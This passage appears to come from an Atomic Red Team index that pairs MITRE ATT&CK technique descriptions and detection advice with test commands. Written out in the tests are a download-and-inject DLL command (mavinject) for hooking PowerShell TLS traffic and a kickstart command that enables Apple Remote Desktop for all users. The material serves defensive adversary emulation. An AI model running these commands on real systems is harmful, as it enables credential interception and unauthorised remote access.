AppRoleAssignment.ReadWrite.All,Application.ReadWrite.All,User.Read -NoWelcome Remove-MgApplication $app.AppId Remove-Item -Path Cert:\CurrentUser\My\$($cert.thumbprint) -DeleteKey Disconnect-MgGraph name: powershell elevation_required: false T1056: technique: modified: '2023-05-09T14:00:00.188Z' name: Input Capture description: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - John Lambert, Microsoft Threat Intelligence Center x_mitre_detection: 'Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.' x_mitre_domains: - enterprise-attack x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Metadata' - 'Process: OS API Execution' - 'Driver: Driver Load' x_mitre_permissions_required: - Administrator - SYSTEM - root - User type: attack-pattern id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 created: '2017-05-31T21:30:48.323Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056 external_id: T1056 - source_name: Adventures of a Keystroke description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.' url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_is_subtechnique: false spec_version: '2.1' atomic_tests: [] T1557.002: technique: x_mitre_platforms: - Linux - Windows - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jon Sternstein, Stern Security object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213 created: '2020-10-15T12:05:58.755Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1557.002 url: https://attack.mitre.org/techniques/T1557/002 - source_name: Cylance Cleaver url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf description: Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017. - source_name: RFC826 ARP url: https://tools.ietf.org/html/rfc826 description: Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020. - source_name: Sans ARP Spoofing Aug 2003 url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411 description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020. x_mitre_deprecated: false revoked: false description: | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: ARP Cache Poisoning x_mitre_detection: "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: collection x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1213.003: technique: modified: '2022-10-18T22:44:01.723Z' name: Code Repositories description: |- Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe) **Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies. x_mitre_platforms: - SaaS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Itamar Mizrahi, Cymptom - Toby Kohlenberg - Josh Liburdi, @jshlbrd x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3 created: '2021-05-11T18:51:16.343Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1213/003 external_id: T1213.003 - source_name: Wired Uber Breach description: 'Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.' url: https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/ - source_name: Krebs Adobe description: Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021. url: https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1213: technique: modified: '2024-03-01T16:27:47.391Z' name: Data from Information Repositories description: "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) - Regina Elwell - Praetorian - Milos Stojadinovic - Isif Ibrahima, Mandiant x_mitre_deprecated: false x_mitre_detection: "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS - SaaS - Office 365 - Google Workspace - IaaS x_mitre_version: '3.3' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1213 external_id: T1213 - source_name: Atlassian Confluence Logging description: Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html - source_name: Microsoft SharePoint Logging description: Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018. url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2 - source_name: Sharepoint Sharing Events description: Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021. url: https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1602.001: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5 type: attack-pattern created: '2020-10-19T23:51:05.953Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1602.001 url: https://attack.mitre.org/techniques/T1602/001 - source_name: SANS Information Security Reading Room Securing SNMP Securing SNMP url: https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051 description: 'Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.' - source_name: US-CERT-TA18-106A url: https://www.us-cert.gov/ncas/alerts/TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. - source_name: Cisco Blog Legacy Device Attacks url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. - source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3 description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020. modified: '2021-04-29T14:49:39.188Z' name: SNMP (MIB Dump) description: "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Content' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1056.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6 type: attack-pattern created: '2020-02-11T19:01:15.930Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1056.004 url: https://attack.mitre.org/techniques/T1056/004 - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017. url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918 - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. source_name: Microsoft Hook Overview - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.' source_name: Adlice Software IAT Hooks Oct 2014 - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.' source_name: MWRInfoSecurity Dynamic Hooking 2015 - url: https://www.exploit-db.com/docs/17802.pdf description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017. source_name: HighTech Bridge Inline Hooking Sept 2011 - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. source_name: Volatility Detecting Hooks Sept 2012 - url: https://github.com/prekageo/winhook description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. source_name: PreKageo Winhook Jul 2011 - url: https://github.com/jay/gethooks description: Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017. source_name: Jay GetHooks Sept 2011 - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ description: Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017. source_name: Zairon Hooking Dec 2006 - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.' source_name: EyeofRa Detecting Hooking June 2017 - url: http://www.gmer.net/ description: GMER. (n.d.). GMER. Retrieved December 12, 2017. source_name: GMER Rootkits - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017. source_name: Microsoft Process Snapshot - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis description: Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017. source_name: StackExchange Hooks Jul 2012 modified: '2022-04-25T14:00:00.188Z' name: 'Input Capture: Credential API Hooking' description: | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: |- Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity. Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Metadata' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1056.004 atomic_tests: - name: Hook PowerShell TLS Encrypt/Decrypt Messages auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33 description: 'Hooks functions in PowerShell to read TLS Communications ' supported_platforms: - windows input_arguments: file_name: description: Dll To Inject type: path default: PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll server_name: description: TLS Server To Test Get Request type: url default: https://www.example.com dependency_executor_name: powershell dependencies: - description: 'T1056.004x64.dll must exist on disk at specified location (#{file_name}) ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing executor: command: | mavinject $pid /INJECTRUNNING "#{file_name}" Invoke-WebRequest #{server_name} -UseBasicParsing name: powershell elevation_required: true lateral-movement: T1021.005: technique: modified: '2023-05-09T14:00:00.188Z' name: Remote Services:VNC description: |- Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_detection: |- Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. On macOS systems log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Logon Session: Logon Session Creation' - 'Network Traffic: Network Connection Creation' x_mitre_system_requirements: - VNC server installed and listening for connections. type: attack-pattern id: attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b created: '2020-02-11T18:28:44.950Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/005 external_id: T1021.005 - source_name: The Remote Framebuffer Protocol description: T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021. url: https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2 - source_name: MacOS VNC software for Remote Desktop description: Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021. url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac - source_name: VNC Authentication description: Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021. url: https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication - source_name: Hijacking VNC description: 'Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.' url: https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc - source_name: macOS root VNC login without authentication description: Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021. url: https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication - source_name: VNC Vulnerabilities description: Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021. url: https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/ - source_name: Offensive Security VNC Authentication Check description: Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021. url: https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/ - source_name: Attacking VNC Servers PentestLab description: Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021. url: https://pentestlab.blog/2012/10/30/attacking-vnc-servers/ - source_name: Havana authentication bug description: Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021. url: http://lists.openstack.org/pipermail/openstack/2013-December/004138.html - source_name: Apple Unified Log Analysis Remote Login and Screen Sharing description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.' url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins - source_name: Gnome Remote Desktop grd-settings description: Pascal Nowack. (n.d.). Retrieved September 21, 2021. url: https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207 - source_name: Gnome Remote Desktop gschema description: Pascal Nowack. (n.d.). Retrieved September 21, 2021. url: https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1021.005 atomic_tests: - name: Enable Apple Remote Desktop Agent auto_generated_guid: 8a930abe-841c-4d4f-a877-72e9fe90b9ea description: "ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. \nAdversaries can abuse ARD to gain remote code execution and perform lateral movement.\n\nReferences: \ https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil\n" supported_platforms: - macos executor: name: sh command: 'sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet ' cleanup_command: 'sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -stop -configure -privs -none -quiet ' elevation_required: true T1080: technique: modified: '2023-05-31T12:33:20.915Z' name: Taint Shared Content description: |2- Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally. A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot) Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Michal Dida, ESET - David Routin x_mitre_deprecated: false x_mitre_detection: |- Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Office 365 - SaaS - Linux - macOS x_mitre_version: '1.4' x_mitre_data_sources: - 'Network Share: Network Share Access' - 'Process: Process Creation' - 'File: File Modification' - 'File: File Creation' x_mitre_system_requirements: - Access to shared folders and content with write permissions type: attack-pattern id: attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c created: '2017-05-31T21:31:01.759Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1080 external_id: T1080 - source_name: Retwin Directory Share Pivot description: Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018. url: 